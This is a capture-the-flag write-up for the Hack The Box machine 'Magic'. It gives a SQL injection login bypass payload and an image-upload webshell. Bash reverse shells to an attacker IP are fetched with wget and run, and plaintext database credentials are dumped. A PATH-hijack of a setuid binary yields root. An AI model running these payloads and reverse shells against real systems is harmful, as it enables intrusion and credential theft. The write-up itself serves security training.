Overview
This machine begins w/ a web enumeration, discovering login.php
, a login page that is susceptible to a SQLi Authentication bypass due to the lack of input sanitization. Next, we are redirected to upload.php
where only images and be uploaded, however it is susceptible to an file upload bypass, allowing us to insert webshell to execute code, allowing us to obtain a low-privilege/www-data
shell.
For the privilege escalation part, we have to privilege escalate to theseus
and then to root
. Since there was a login page earlier, we found database credentials on a database configuration file db5.php
. However, we do not have mysql
on magic.htb
, to overcome this, we use a PHP
file to query the database, obtaining the password for user theseus
.
After further enumerating the system for files with setuid bit, a binary sysinfo
is discovered and is susceptible to a PATH hijacking exploit, due to not calling executables w/ their full PATH. We unset our PATH environment and added /tmp
, next, we created a malicious reverse shell bashscript called fdisk
, so when fdisk
is executed during sysinfo
, the reverse shell is invoked, allowing us to privilege escalate to root
.
Column | Details |
---|---|
Box Name | Magic |
IP | 10.10.10.185 |
Points | 30 |
Difficulty | Medium |
Creator | TRX |
Release Date | 18 Apr 2020 |
Recon
TCP/80 (HTTP)
- FFUF
1 2 3 4 5 6
200 GET 60l 207w 4053c http://10.10.10.185/index.php 302 GET 0l 0w 0c http://10.10.10.185/logout.php => index.php 403 GET 9l 28w 277c http://10.10.10.185/server-status 200 GET 108l 217w 2136c http://10.10.10.185/assets/css/upload.css 200 GET 27l 59w 782c http://10.10.10.185/assets/js/upload.js 302 GET 84l 177w 2957c http://10.10.10.185/upload.php => login.php
upload.php
Initial Foothold
TCP/80 (HTTP) - SQLi Authentication Bypass
- Login page @
http://magic.htb/login.php
is susceptible to SQLi Authentication Bypass1 2
# Payload ' OR 1=1 -- -
Redirected to an image upload page -
upload.php
TCP/80 (HTTP) - File Upload Bypass
- After some testing, the upload page has some sort of filter to prevent malicious files from being uploaded
.php
- unable to upload.jpg, .png
- uploaded- Uploaded files go to
upload/images/<filename>
- However, the restrictions can be bypassed
- Upload any image file
- Add a webshell payload into the middle
- Test our webshell
1 2 3
┌──(root💀kali)-[~/htb/magic/10.10.10.185/exploit] └─# curl -s "http://10.10.10.185/images/uploads/bingchilling.php.jpg?c=id" --output - | strings | grep www-data uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Create reverse shell payload
1 2 3
#!/bin/bash /bin/bash -i >& /dev/tcp/10.10.14.14/4444 0>&1
- Download reverse shell payload into
magic.htb
1 2
# Payload http://10.10.10.185/images/uploads/bingchilling.php.jpg?c=wget+10.10.14.14/exploit.sh+-O+/tmp/exploit.sh
- Start
netcat
listener1 2 3 4 5 6
┌──(root💀kali)-[~/htb/magic] └─# nc -nvlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.10.185.
- Invoke reverse shell
1
http://10.10.10.185/images/uploads/bingchilling.php.jpg?c=chmod+777+/tmp/exploit.sh;/tmp/exploit.sh
- Demo - Image upload bypass and insert webshell
Privilege Escalation
Theseus - Enumeration
- Since there is a login page (
login.php
), there should be database credentialsdb5.php
is included - Found database creds in
db5.php
1 2 3 4
private static $dbName = 'Magic' ; private static $dbHost = 'localhost' ; private static $dbUsername = 'theseus'; private static $dbUserPassword = 'iamkingtheseus';
theseus:iamkingtheseus
- Failed to switch to user
theseus
w/iamkingtheseus
- Access
mysql
to obtain more credentials1 2 3 4 5 6 7 8
theseus@ubuntu:/var/www/Magic$ mysql Command 'mysql' not found, but can be installed with: apt install mysql-client-core-5.7 apt install mariadb-client-core-10.1 Ask your administrator to install one of them.
mysql-client
does not exist
- We can confirm that
mysql
is running w/netstat
1 2
www-data@ubuntu:/var/www/Magic$ netstat -ano | grep 3306 tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
Theseus - Obtain creds by querying mysql w/ PHP
- Create a
PHP
filequery.php
toquery
the database1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
<?php $servername = "localhost"; $username = "theseus"; $password = "iamkingtheseus"; $dbname = "Magic"; // Create connection $conn = new mysqli($servername, $username, $password, $dbname); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } #$sql = "SELECT id, firstname, lastname FROM MyGuests"; $sql = "SELECT username, password FROM login"; $result = $conn->query($sql); if ($result->num_rows > 0) { // output data of each row while($row = $result->fetch_assoc()) { echo "username: " . $row["username"]. " - password: " . $row["password"]; } } else { echo "0 results"; } $conn->close(); ?>
Queries for username & password from
Magic
database fromlogin
table - Code Skeleton - Query
mysql
database1 2
www-data@ubuntu:/var/www/Magic$ php query.php username: admin - password: Th3s3usW4sK1ng
admin:Th3s3usW4sK1ng
- Switch to user
theseus
w/Th3s3usW4sK1ng
1 2 3 4 5
www-data@ubuntu:/var/www/Magic$ su theseus Password: Th3s3usW4sK1ng theseus@ubuntu:/var/www/Magic$ id;whoami uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users) theseus
- Demo - Query database w/ PHP
Root - Enumeration
- Enumerate files w/ setuid bit
1 2
theseus@ubuntu:/var/www/Magic$ find / -perm /4000 -type f -exec ls -lda {} \; 2>/dev/null | grep info -rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
Root - What is systeminfo doing?
- Find out what file type is
/bin/sysinfo
1 2
theseus@ubuntu:/var/www/Magic$ file /bin/sysinfo /bin/sysinfo: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9e9d26d004da0634c0747d16d377cd2a934e565a, not stripped
- Analyze the binary w/
binaryninja
sysinfo
is susceptible to PATH Hijacking exploit because the executables/binaries are not called w/ their FULL PATH.
Root - Path Hijacking
- Understanding PATH environment variable
PATH
specifies the directories in which executable programs are located on the machine that can be started without knowing and typing the whole path to the file on the command line. - Source
- How do we exploit
/bin/sysinfo
- Since the executables are not called w/ their full path, the system will search all the directories defined in the PATH environment variable for the executables.
- We can prepend a directory we have write access to, to the path environment variable, so that the system searches that directory first.
- We create a malicious executable that has the same name as the executable called in
sysinfo
, this will cause the system to execute our malicious executable because it is found first in the PATH environment.
- However, the exploit does not work if we prepend
/tmp
, we have to unset the PATH environment and then add/tmp
only, not sure why. - Exploit
/bin/sysinfo
- Create reverse shell payload
1 2 3 4
theseus@ubuntu:/tmp$ cat fdisk #!/bin/bash /bin/bash -i >& /dev/tcp/10.10.14.14/4444 0>&1
- Unset PATH environment variable
1 2 3 4 5 6 7
theseus@ubuntu:/tmp$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games theseus@ubuntu:/tmp$ unset PATH theseus@ubuntu:/tmp$ echo $PATH theseus@ubuntu:/tmp$
- Add
/tmp
to our PATH environment variable1 2 3
theseus@ubuntu:/tmp$ export PATH=/tmp theseus@ubuntu:/tmp$ echo $PATH /tmp
- Start
netcat
listener1 2 3 4 5
┌──(root💀kali)-[~/htb/magic] └─# nc -nvlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444
- Invoke reverse shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
theseus@ubuntu:/tmp$ /bin/sysinfo # Kali ┌──(root💀kali)-[~/htb/magic] └─# nc -nvlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.10.185. Ncat: Connection from 10.10.10.185:39526. bash: groups: command not found Command 'lesspipe' is available in the following places * /bin/lesspipe * /usr/bin/lesspipe The command could not be located because '/bin:/usr/bin' is not included in the PATH environment variable. lesspipe: command not found Command 'dircolors' is available in '/usr/bin/dircolors' The command could not be located because '/usr/bin' is not included in the PATH environment variable. dircolors: command not found root@ubuntu:/tmp#
- Revert PATH environment
1
theseus@ubuntu:/tmp$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
- Create reverse shell payload
- Demo -
sysinfo
PATH Hijacking
Additional
Theseus - Obtain creds w/ SQLDump
- Instead of writing a
PHP
file to querymysql
, we usemysqldump
to dumpmysql
databases.The dump contains a set of SQL statements that can be executed to reproduce the original database object definitions and table data.
- On
www-data
, typemysql
and hittab
1 2 3 4 5
www-data@ubuntu:/tmp$ mysql mysql_config_editor mysql_secure_installation mysqladmin mysqld mysqldumpslow mysqlrepair mysql_embedded mysql_ssl_rsa_setup mysqlanalyze mysqld_multi mysqlimport mysqlreport mysql_install_db mysql_tzinfo_to_sql mysqlbinlog mysqld_safe mysqloptimize mysqlshow mysql_plugin mysql_upgrade mysqlcheck mysqldump mysqlpump mysqlslap
A list of
mysql
commands is displayed - Dump
Magic
database w/mysqldump
1 2 3 4 5 6 7 8
www-data@ubuntu:/tmp$ mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic LOCK TABLES `login` WRITE; /*!40000 ALTER TABLE `login` DISABLE KEYS */; INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng'); /*!40000 ALTER TABLE `login` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
admin:Th3s3usW4sK1ng
Theseus - Port Forward to access MySQL on Kali
- Instead of writing a
PHP
file to querymysql
, we use accessmysql
onkali
w/chisel
- By using
chisel
to port forward, we are able to accessmagic.htb
mysql
server onkali
- Portwarding w/
chisel
kali
1 2 3 4 5
┌──(root💀kali)-[~/htb/magic] └─# chisel server --reverse --port 1337 2022/09/27 15:44:16 server: Reverse tunnelling enabled 2022/09/27 15:44:16 server: Fingerprint vnLX3w8MGxUv331CjE1Hmujl+mZimvFGhTgxXm3YNmc= 2022/09/27 15:44:16 server: Listening on http://0.0.0.0:1337
magic.htb
1 2 3
www-data@ubuntu:/tmp$ ./chisel client 10.10.14.14:1337 R:3306:127.0.0.1:3306 & 2022/09/27 00:44:39 client: Connecting to ws://10.10.14.14:1337 2022/09/27 00:44:39 client: Connected (Latency 36.181644ms)
- Access
mysql
and queryMagic
database1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
┌──(root💀kali)-[~/htb/magic] └─# mysql --user=theseus --password=iamkingtheseus --host=127.0.0.1 Magic MySQL [Magic]> show tables; +-----------------+ | Tables_in_Magic | +-----------------+ | login | +-----------------+ 1 row in set (0.036 sec) MySQL [Magic]> SELECT * FROM login; +----+----------+----------------+ | id | username | password | +----+----------+----------------+ | 1 | admin | Th3s3usW4sK1ng | +----+----------+----------------+ 1 row in set (0.037 sec) MySQL [Magic]>
admin:Th3s3usW4sK1ng
How did we do a file upload bypass?
- View
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
<?php $target_dir = "images/uploads/"; $target_file = $target_dir . basename($_FILES["image"]["name"]); $uploadOk = 1; $allowed = array('2', '3'); $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") { echo "<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')</script>"; $uploadOk = 0; } if ($uploadOk === 1) { // Check if image is actually png or jpg using magic bytes $check = exif_imagetype($_FILES["image"]["tmp_name"]); if (!in_array($check, $allowed)) { echo "<script>alert('What are you trying to do there?')</script>"; $uploadOk = 0; } } //Check file contents /*$image = file_get_contents($_FILES["image"]["tmp_name"]); if (strpos($image, "<?") !== FALSE) { echo "<script>alert('Detected \"\<\?\". PHP is not allowed!')</script>"; $uploadOk = 0; }*/ if ($uploadOk === 1) { if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) { echo "The file " . basename($_FILES["image"]["name"]) . " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } } ?>
- We managed to bypass the first check because we appended
.png
, trickingpathinfo
into thinking our.php
is part of the filename,.png
is the extension. - Next, we managed to bypass the second check
exif_imagetype
by inserting our webshell payload in the middle of the image file, trickingexif_imagetype
into thinking we uploaded a valid image - JPG (1), PNG(2). - The 3rd check (Commented) is recursively checking for
<?
, however this causes many false positives because<?
could be in a valid image file.
- We managed to bypass the first check because we appended
Why was .php.png processed & Patch Vulnerability
- There is a
.htaccess
file residing in/var/www/Magic
1 2 3 4 5 6 7
www-data@ubuntu:/var/www/Magic$ cat .htaccess <FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)"> SetHandler application/x-httpd-php </FilesMatch> <Files ~ "\.(sh|sql)"> order deny,allow deny from all
It is telling the webserver to process files that contains the word
.php
asPHP
files, causing our webshell to execute. .htaccess
supersedes configuration inmods-enabled/php5.6.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
www-data@ubuntu:/var/www/Magic$ cat /etc/apache2/mods-available/php5.6.conf <FilesMatch ".+\.ph(p[3457]?|t|tml)$"> SetHandler application/x-httpd-php </FilesMatch> <FilesMatch ".+\.phps$"> SetHandler application/x-httpd-php-source # Deny access to raw php sources by default # To re-enable it's recommended to enable access to the files # only in specific virtual host or directory Require all denied </FilesMatch> # Deny access to files without filename (e.g. '.php') <FilesMatch "^\.ph(p[3457]?|t|tml|ps)$"> Require all denied </FilesMatch> # Running PHP scripts in user directories is disabled by default # # To re-enable PHP in user directories comment the following lines # (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it # prevents .htaccess files from disabling it. <IfModule mod_userdir.c> <Directory /home/*/public_html> php_admin_flag engine Off </Directory> </IfModule>
The
$
(end of string) causes the webserver to only process files asPHP
only if.php
is at the end of the filename, meaning.png.php
will not work.- Lets remove
.htacess
, the server will process our webshell as an image1 2
www-data@ubuntu:/var/www/Magic$ cp .htaccess htaccess.bak www-data@ubuntu:/var/www/Magic$ rm .htaccess
Comments powered by Disqus.